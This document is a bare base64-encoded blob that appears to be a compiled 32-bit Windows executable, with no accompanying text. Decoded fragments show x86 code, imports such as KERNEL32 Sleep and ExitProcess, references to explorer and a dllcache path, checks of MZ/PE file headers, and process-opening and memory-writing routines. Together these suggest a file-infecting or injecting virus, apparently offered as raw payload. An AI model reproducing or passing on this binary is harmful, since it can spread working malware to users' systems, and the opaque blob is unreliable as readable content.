BIlMJAheVsZGHKiNWFiLC+MyxwMAAAAAi0wkCFHR6TPSD7cGA9CLwoHi//8AAMHoEAPQRkbi 6ovCwegQZgPCWQPBiQO8eFY0EigwQDAAADQwTjAAAFYwAAAAAAAATjAAAFYwAAAAAAAAS0VS TkVMMzIuZGxsAAAAAFNsZWVwAAAARXhpdFByb2Nlc3MISQAA+AIAAP+VYP////+VSP///1hq AGoAUP90JAz/lTj/////NCT/lTT///9YUI2d9A8AAFODwwhTg8MIU1D/lVD/////lUj///// lUT///8zyWSPAVlZYcPoAAAAAFiNQKRQi0QkEI+AuAAAADPAw2CLyjP/jbVzCAAA6Bj5//87 ymHDAABIAOsAYJzoAAAAAF0z9ugEAAAAV3FrAFZqArq0Cul3/9ILwHQdVlZWagJQuhnQ6Hf/ 0gvAdAzGRfhAjWgPg8Av/9CdYWh4VjQSwwAAFwBgUVRqQGgAEAAAU1f/lSb6//9ZC8BhwwAA HACNhYYgAABgUVRoAEAAAFBTV/+VKvr//1kLwGHDAAASAGBRVFFQU1f/lS76//9ZC8BhwwAA IgJg6AAAAABdVY21BQIAAFYz9mT/NmSJJo21Xf///1boc/j//2CLjRr6//+JTYeLjSL6//+J jXb////oBAAAAFdxawBfV2oAagL/0QvAdAlQ/5UG+v//6y64omoAAIvIjbU7+P//6Ar4//90 GvyL+DPAq7g+EwAAq421dPf///OkibXOCgAAYYml4gEAAI11qejf9///D4RNAQAAV1ONdcTo z/f//4B4HKgPhDkBAADGQByouQBAAACNdeTotPf//4vYjbX/AgAA6Kf3//902ot4KI21MQMA AOiX9///C8l0yIt6BIm9pAEAAIs6i0oIO/l2AofPib2qAQAAK8qD+UgPguIAAACLiIAAAAAL yXSZW19TA9lRjXXE6Fb3//9SjbUNCgAA6Er3//8PtsqA4T9aXovYg+sUUYPDFItLDOMkUCvO gfkAQAAAcxmLBAjoKAgAAD11c2VyWHXdxwQkABAAAIvDWYtYEAMcJFONdanoAPf//3RyjXXE 6Pb2//+L8PytO4Ws+v//dAw7hbD6//90BAvA4OuD7gQLwHUDg+4EiwaJRaCLXCQEgcN4VjQS gcN4VjQSiR6Ndanotfb//3QnjYVd////akhZjXXk6KL2//90FFuNhYYgAAAAEAAAEAAAABcw HTCITAAAeAMAALkAQAAAjXXk6Iz2//+8eFY0Eo21DQoAAOh89v//XmaJVvzolfb//2RnjwYA AF5eYcPoAAAAAFiNQNdQi0QkEI+AuAAAADPAwwAAMgBg6AAAAABdi41A+P//4wqNdTDoNvb/ /+sXM8C5IE4AAIPABI21qAAAAOgf9v//4vBhwwAAdABgagBqAv+VQPj//wvAdGNQjb3EXgAA xwcoAQAAV1D/lUT4//8LwHREi42kCAAA4yJXjV8k6AoAAABcZXhwbG9yZXIAX421ZwcAAOjI 9f//X3UOi0cIjbWoAAAA6Lf1//9YUFdQ/5VI+P//67j/leD3//9hwwAALQBgUGoAaP8PAAD/ lQz4//8LwHQYUJe7AABAAI211P3//+h69f///5Xg9///YcMAAC4AUTPJZoE7TVp1IItDPAPD ZoE4UEV1FPZAFyB1DlOKWFyA4/6A+wJbdQFBC8lZwwAAJQBRD7dQFI1UEPgPt0gGQUnjEIPC KItyBDv+cvMDMjv3du0LyVnDBV1zAGW1BV0FXVjQsMwEXQW1BKj6oogodLX8qfqiiOjKXQVd 7bPxovrQsEsEXQW15qn6oojoEan6oojgd1oFXbxjFl0FoVKuodCw8ANdBbXGqfqiWtCyuw5d BTuMC/m106n6ooOviOrjUAVdY9RToe2Y8aL6PMPtploAjU7tpu2msCtYkOum7U5nUhJZYBt7 UhJZKqEFuO2mKuHpphLQEVAvp5mrKqES0BFOKuHpve2m7WGqrothq1oq4eGm7fASUC+kmagq 4eXwi2GrYaqqEabtWYxl7aZDAI1O7abtprInKv0ZWRJQL6eZoWepa+nsIOLAV/CywGTx71Av pJmuixxmWIsvuqQq4erM7f/iUC+imaEq4eqVJDbix8NuBncADu5uBm4GM4sTteXxhg+a+ZGL 25drBm7utfWR+e7kbYysxo4F7mF9wWZBfYYJE6kOKRPuYXbBZkF2jKgibYYJHJYOKRyu5m2G CRmpDikZ47P/A24Ghpid+ZGMqCJthgkhlg4pIa7mbYYJKqkOKSrl8YajnfmRZ8NE3GUAJDRE 3ETcGVHxykHcRDQuL7sjsh5FqFZXwVm2I7tbwUm2I7tbwVm2I7tR8X22I7tcpt/EukYkTIpG HKbfxPqD1FJcosTHGkBcYhtM6scaR1xiG0zqhR5MkoLazQhQAAB4AwAAKobdMN+C2sO9w10F LwS1BV0FXVjQsLUBXQW1B676oojo/qD6ou2q96L6opBe8KL6nO1CjNhuWAVdhLEBXAVd+W7F 1IATBl0F1IAyAF0FopCi8aL61IAiBl0FtfZfBV2OoW1ZBF0FCm9d+sjyqfqi7fUGXQWgtKK1 Affz+ZtCXAW1c10FXYjoq1kFXe3M96L63edehZ9m1RF5Y5pBeQRnBTcfBI6kUaKQpvGi+mEG LwxhASoAtUddBV2PWSGjxWF/KwftZNUBeY6S54U2ne30BF0FNzkC7SUHXQU1JRMFXfrI6qn6 okoo6LaeCmwzNm8lG2ovaih9fVNsK21l0HF5IbUCXgVd7U8GXQXlWXcrd65uxfaEsUVcBV2I 6L5FBV1RC/rI0qn6okVSgUwEXQUVVapBeQFdEl0FUoDeBV0F0LF5bVwFXe2fB10FCu2RB10F 5AFcBV21Aa/QcXkx1gOuoQPyjaxzK10FKTo7rHMFKVSqQXkBTQVdBSlMtQ5dBV13PHckJRRr KWAvBQKOg1PQsHMBXQW1jaz6olspCAuI6INZBV3tJPSi+gNxL7xZBF0FduTW+a6htUWi+qKE mQFcBV3uB/KN7QMHXQXQuGkHXQU3CAT38nG3IKL6ogVgZCt1XXGDODNkKwUp0tb7tS5fBV2O Gvm1Kl8FXThzYCVgKRVgKy5mL3FU89gtrvqiBigI1vvQsATwovq1Aaz6ou09BF0F0EF5AdYJ eVUM+sjeqfqiDp0K2PKj+qL6yNqp+qKEmUVcBV1knlo8cy1kMWAvZDBqM2QzcTRrMmFuay12 LmsvYC5rLmY1a243LmQrcjR2PmQzY3B2KWNwdS9l5g0gBV28XRVdBXbcLwN25AxctvNe3Hbm NwXWiG7wovq+EQlVNxY3BDcHotRWxSgt1ohq8KL6viHWMXmIISFVwloFIAVdUtB5eRUKiCEh UU3UAgpTotRWxShh1gq+ZdAR0AVdBV3yGdGlB10FXXFWiBnRse3a+qL6tkfWMYkOq3FmjqPt RQRdBdZCo+1BBF0FePqi+l04AWRdBSklYFk/BV1xRISxAVwFXY6hqfcPnXCn7ZT4ovrcwVkE XQW/pQWO0D6o+qLmWg6dcV5VotTcwVV4XQU8xj2ZtQVdBV1YopDk9KL65mjSBl2OlS6WhKRl twVdd1OMGA3QsCb8AAAAAO4BAACi+rWnsvqimDzGPe1dBV0FAI7gj6z6ovqKvjCKXgV2xubx XAVdb29b1oinBF0Fvg3mvVYFXW9JW2bGLxyc41dTopAn9KL6otLUQFftWgVdBbWAovqiZJ7t WQVdBRJwJQUCUjcFNweikBP0ovpWxSkNDfrIN6z6osYdiOhisvqi7XjqovopCNSApwRdBQ36 yE+s+qLG5AFcBV2I4L5FBV1SrqECxg1UbsXo+q+rElwFxgxvWVxhRC8DYV8qB1klnM1V56xc wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAgAAAEAAAIADAAAAYAAAgAUAAACIAACABgAAAKgAAIAOAAAA 2AAAgBAAAAD4AACAAAAAAAAAAAAAAAAAAAACAG0AAAAQAQCAdAAAACgBAIAAAAAAAAAAAAAA AAAAAAMAAQAAAEABAIACAAAAWAEAgAMAAABwAQCAAAAAAAAAAAAAAAAAAAACAGgAAACIAQCA dQAAAKABAIAAAAAAAAAAAAAAAAAAAAQAAQAAALgBAIACAAAA0AEAgAMAAADoAQCABAAAAAAC AIAAAAAAAAAAAAAAAAAAAAIAZQAAABgCAIByAAAAMAIAgAAAAAAAAAAAAAAAAAAAAQABAAAA SAIAgAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAAAA AAAAAAAAAAAAAAAAAQAJBAAAgAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAkAIAAAAAAAAAAAAA AAAAAAAAAQAJBAAAoAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAsAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAwAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA0AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 4AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA8AIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAMAAAAA AAAAAAAAAAAAAAAAAQAJBAAAEAMAAAAAAAAAAAAAAAAAAAAAAQAJBAAAIAMAAAAAAAAAAAAA AAAAAAAAAQAJBAAAMAMAADhuCQCiBgAAAAAAAAAAAADgdAkAKhsAAAAAAAAAAAAA8FQJAOgC AAAAAAAAAAAAAPBXCQDoAgAAAAAAAAAAAADYWgkAqAgAAAAAAAAAAAAAQGcJACoEAAAAAAAA AAAAAHBrCQDEAgAAAAAAAAAAAAAQkAkAegIAAAAAAAAAAAAAkJIJACQEAAAAAAAAAAAAALiW CQAMCgAAAAAAAAAAAADIoAkA4gAAAAAAAAAAAAAA2FcJABQAAAAAAAAAAAAAAIBjCQAiAAAA AAAAAAAAAACoYwkAlAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAAAAAAAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAA AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIgAAAAA AAAAAAAAAAAAAAAAiAAAAADu7u8N3d34u7u78AiAAAAI7u7vDd3d+Lu7u/CAiAAACO7u7w3d 3fi7u7vwiAgAAAju7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vw iAgAAAju7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju 7u8N3d34u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju7u8N3d34 u7u78IgIAAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAAju7u8N3d34u7u78IgI AAAI7u7vDd3d+Lu7u/CICAAACO7u7w3d3fi7u7vwiAgAAA//////////////8IgIAAAP//// //////////CICAAAD//////////////wiAgAAAAAAAAAAAAAAAAAAHgIAAAP//////////// //8HCAAAB3d3d3d3d3d3d3d38AgAAAB3d3d3d3d3d3d3d38IAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////+AAAP /AAAA/gAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAA AADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPgAAAD8AAAB ////////////////AAABAAEAICAQAAEABADoAgAAAQAAAAAAKAAAACAAAABAAAAAAQAEAAAA AAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3d3cAAAcAAAAAAAAAAAAA AAAHAHd3AAAAAAAAAAAAAAAAB3dwAAAAAAAAd3d3AAAAAAAHAAAHd3d3d3d3d3d3dwAAAAB3 d3d3d3d3d3d3d3d3dwAHdwAAAAAAAAAAAAAAAAdwB3cH//////////////cHcAd3D/9wAA// /wAA////B3AHdw//AAAP//8AAP///wdwB3cP/wAAD//wAAD///8HcAd3D/8AAAAAAAAA//// B3AHdw//AAAAAAAAAP///wdwB3cP/wAAAAAAAAD///8HcAd3D/8AAAAAAAAH////B3AHdw// AAAAAAAAkQD//wdwB3cP/wAAAAAAEQAAD/8HcAd3D/cA///wARAAAAD/B3AHdw/wD/////kA AAAAfwdwB3cP////////AACAAP8HcAd3D/////////AAgH//B3AHdw/////////wAAD//wdw 